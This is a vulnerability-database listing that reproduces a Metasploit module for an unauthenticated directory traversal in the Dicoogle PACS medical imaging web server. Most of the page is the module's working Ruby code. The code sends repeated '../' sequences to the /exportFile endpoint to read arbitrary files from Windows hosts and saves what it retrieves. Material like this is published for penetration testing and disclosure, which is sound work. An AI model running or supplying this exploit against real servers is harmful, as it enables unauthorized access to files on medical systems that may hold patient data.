Lucene search
K

Dicoogle PACS Web Server Directory Traversal

🗓️ 01 Sep 2024 00:00:00Reported by h00die, Carlos Avila, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 146 Views

This module exploits an unauthenticated directory traversal vulnerability in the Dicoogle PACS Web Server, allowing an attacker to read arbitrary files with the web server privileges. Successful only against Windows targets

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Dicoogle PACS Web Server Directory Traversal',  
'Description' => %q{  
This module exploits an unauthenticated directory traversal vulnerability  
in the Dicoogle PACS Web Server v2.5.0 and possibly earlier, allowing an  
attacker to read arbitrary files with the web server privileges.  
While the application is java based, the directory traversal was only  
successful against Windows targets.  
},  
'References' =>  
[  
['EDB', '45007']  
],  
'Author' =>  
[  
'Carlos Avila', # Vulnerability discovery  
'h00die' # Metasploit module  
],  
'DisclosureDate' => '2018-07-11',  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('FILEPATH', [true, "The path to the file to read", '/windows/win.ini']),  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 15 ])  
])  
  
end  
  
def run_host(ip)  
filename = datastore['FILEPATH']  
traversal = "../" * datastore['DEPTH'] << filename  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/exportFile',  
'vars_get' => {  
'UID' => traversal  
}  
})  
  
unless res && res.code == 200  
print_error('Nothing was downloaded')  
return  
end  
  
vprint_good("#{peer} - #{res.body}")  
path = store_loot(  
'dicoogle.traversal',  
'text/plain',  
ip,  
res.body,  
filename  
)  
print_good("File saved in: #{path}")  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation